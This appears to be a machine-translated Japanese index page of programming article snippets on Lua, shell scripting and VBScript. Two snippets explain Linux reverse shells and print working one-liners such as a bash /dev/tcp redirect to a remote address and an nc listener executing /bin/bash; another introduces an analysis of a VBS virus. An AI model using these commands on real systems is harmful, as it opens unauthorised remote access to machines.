• Luaでモジュールを使うためのいくつかの基本的なこと

    --水平線2本で1行のコメント、--[[プラス2本の[and]で複数行のコメントを示す--]]。 コピーコード コードは以下の通りです。 -- assuming that the file mod.lua reads local M = {} local function sayMyName()   print('Hrunkner') end fun

    2022-02-09 01:11:52
  • ローカル yum ソース設定用ワンクリック・シェル・スクリプト

    その効果は以下の通りです。 コード #! /bin/bash #Author:GaoHongYu #QQ:1061767621 #Time:2019-12-26 16:30:19 #Name:yumgz.sh #Version:V1.0 CKGZ=$( df -Th | grep -o "iso9660" ) KJGZ=$( cat /etc/fstab | grep -o

    2022-02-08 23:30:29
  • シェルでsedコマンドを使用して特定の行を削除する方法

    sedコマンドは、特定の行を素早く削除できる強力なシェルコマンドです。awkコマンドを使えば、バッチファイルを簡単に操作できます。以下でチェックしてみてください sedコマンドでよく使われる2つのオプション。 -i : ファイルを直接編集する(その場でファイルを編集する)。 -e [デフォルトオプション] : ファイルに変更を加えず、コマンドラインのみに出力する (実行するコ

    2022-02-08 23:18:12
  • シェルスクリプトでの$コマンドの使い方まとめ

        今日は在宅勤務の4日目、徐々に自宅で仕事のリズムの少しを発見し、いくつかのシェルスクリプトを変更し、変更の過程で、まだいくつかの知識のポイントを統合する必要があることがわかった、ここで書き出すには、印象を深めています。    記号は、あなたにとって新しいものではないはずです。シェルスクリプトでは、$はほとんどのことに使われるので、こ

    2022-02-08 23:03:19
  • シェル関数の定義と呼び出しの説明

    I. シェル関数の定義形式 シェル関数定義のフォーマットで、各セクションは以下のように記述されています。 関数 ]などの括弧で囲まれた部分。----はオプション(=任意)です。 your_function_nameの部分 ---- は関数名です。 your_shell_commandsセクション ---- は関数コードです。シェルは通常行単位ですが、1行の区切りとして

    2022-02-08 22:39:42
  • Linux bashのバウンスシェルの原理を簡単に解析してみた

    環境について 攻撃マシン: kali ip: 192.168.25.144 ターゲットマシン:Centos ip:192.168.25.142 プロセス kali はローカルのポート 8888 をリッスンします。 対象マシン centos bounce shellへのコマンド書き込み bash -i >& /dev

    2022-02-08 21:29:08
  • vbscriptの基本 - vbs変数の定義と使用法

    I. 変数の宣言 明示的な宣言。Dim、Public、Privateステートメントによる宣言 暗黙の宣言:宣言を行わず直接使用する。 強制的に宣言される。Option Explicit ステートメントにより、すべての変数の明示的な宣言が強制されます。 dim name,age name="Ethon" age=27 msgbox name & age 'na

    2022-02-08 21:02:21
  • vbscriptの基本 - vbs配列の定義と使用法 配列

    vbs配列の定義と使い方 Arrayは、配列を含む変数を返すことができます。 注:配列の最初の要素は0である。 構文 配列(arglist) 引数の説明 arglist 必須。配列の要素値のリスト (カンマで区切られる)。 インスタンス 例1 dim a a=Array(5,10,15,20) document.write(a(3))

    2022-02-08 20:47:58
  • VBSテクノロジーインサイダー。CreateObject関数の説明

    CreateObject関数で異なる文字列を渡すと、さまざまな強力なオブジェクトを作成できることが理解できなかった。そこで、UMUの「[UMU WSH チュートリアル](9) CreateObject プロセス」に出会い、CreateObject 関数が COM オブジェクトを作成し、第一引数が COM オブジェクトの ProgID であることに気がつきました。 プレーンなC言語でのCOM

    2022-02-08 20:45:18
  • スクリーンショット機能用VBS

    バイドゥによると、VBSはスクリーンショットを撮るのが難しいが、サードパーティーのソフトを使い、ソフトを呼び出すと、ソフトが自動的にスクリーンショットを撮ってくれる方法があるそうだ。 しかし、それではそもそもVBSを使う意味がなくなってしまいます。 VBSを使う理由は、簡単で速いからです。サードパーティのソフトを使うなら、VBで書けばいいじゃないですか。 だから・・・Excel

    2022-02-08 20:35:41
  • ディスク監視システム導入のためのシェルスクリプト

    シェルスクリプトによる60秒毎のディスクメモリデータ監視の実装 #! /bin/bash #Author:GaoHongYu #QQ:1061767621 #Time:2019-12-24 18:43:22 #Name:ncjk.sh #Version:V1.0 clear xtip=$(hostname -I) cprl=$(df -Th |head -2|tail -1|cut -d

    2022-02-08 20:17:58
  • vbsを使用してYahooのレートを取得する

    vbsを使用してYahooのレートを取得する Function bytes2bstr(vin) strreturn = "" for i = 1 to lenb(vin) thischarcode = ascb(midb(vin,i,1)) if thischarcode < &h80 then strreturn = strreturn

    2022-02-08 19:56:25
  • VBS の基本 - vbscript 辞書オブジェクト

    Dictionaryは、データのキーと項目のペアを格納するオブジェクトである。主なプロパティは Count、Item、Key で、主なメソッドは Add、Exists、Items、Keys、Remove、および RemoveAll です。 Dictionaryオブジェクトの作成  'Define and create a Dictionary object, using CreateO

    2022-02-08 19:33:36
  • VBScriptは、IEウィンドウのタイトルに応じてESCを出力する

    久々の登場です。プリンターのドライバーが、何が悪かったのか、どんどんウィンドウを出してくるんです。私のプログラムは自動的に出てきて、長い間監督されていない機械の一部であるため、このメッセージがポップアップすると、プログラムが停止してしまうのです。このとき、「escキーを押せば続きができる」と思ってしまうのです。今後、この問題を解決するために、VBScriptを使って数行のファイルを書き、私の代わ

    2022-02-08 19:01:24
  • VBSでメーカー向けクエリーサービスを実装

    Webの質問です。 select * from win32_service これは、サービス名、ステータス......を検索します。 しかし、私はこのサービスのメーカーをチェックしたいのですが、Microsoft、Agribank、または不明?この属性は何ですか、ありがとうございます......。 msconfigで確認できるものは見つけたが、抽出できない 答えは、

    2022-02-08 19:01:06
  • CPU使用率を取得するVBScriptメソッド

    WMI経由でCPU使用率を取得するVBScriptコード "WMI CPU usage"で検索すると、"python using WMI to monitor system-CPU usage"しか出てこないので、探すまでもなく、また収集しなければなりません。 Pythonは強力ですが、VBSを使ってWMIを呼び出す方が、"authentic"です。 On Error Resu

    2022-02-08 18:59:33
  • vbsスクリプトウイルスのウイルス原理の解析

    I. 序文 ウイルスクラスの教師は私たちに分析しようとする暗号化されたvbsスクリプトのウイルスコードを投げた、ここであなたの参照のための分析プロセスを送信するには、テキスト内の任意のエラーを見つけたり、任意の提案を持っている場合、あなたは私に直接メッセージを残すことができます、ありがとうございます!. II. 目次 分析プロセス全体は、以下のパートに分けられます。

    2022-02-08 17:28:08
  • リナックスバウンスシェルの原理を解説

    フルコマンド バウンスシェルコマンド。 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 ncバウンスシェルを使用する。 nc -lvvp 12345 -t -e /bin/bash プリ

    2022-02-08 14:53:14
  • シェルでスクリプトのパラメータを渡す2つの方法について説明します。

    方法1: $0,$1,$2... 0,1,2...を使用する。注目すべきは、$0がスクリプトのパスとスクリプト名を取得してから、順番に引数を取得していることです。 を使って引数を取得しますが、10個以上の引数を取得することは稀なことです。 1.1 例 test.shファイルの新規作成 #! /bin/bash echo "script$0" echo "first ar

    2022-02-08 14:30:19
  • VBSの基本 - vbscript動的配列

    スクリプトファイル:b.vbs、動的配列の追加、削除、トラバース、カウント、および空の要素を含む コード例 'Create a dynamic array Dim Arrl : Set Arrl = CreateObject("System.Collections.ArrayList") 'Add the elements Arrl.Add "Element3" Arrl.Add

    2022-02-08 14:15:02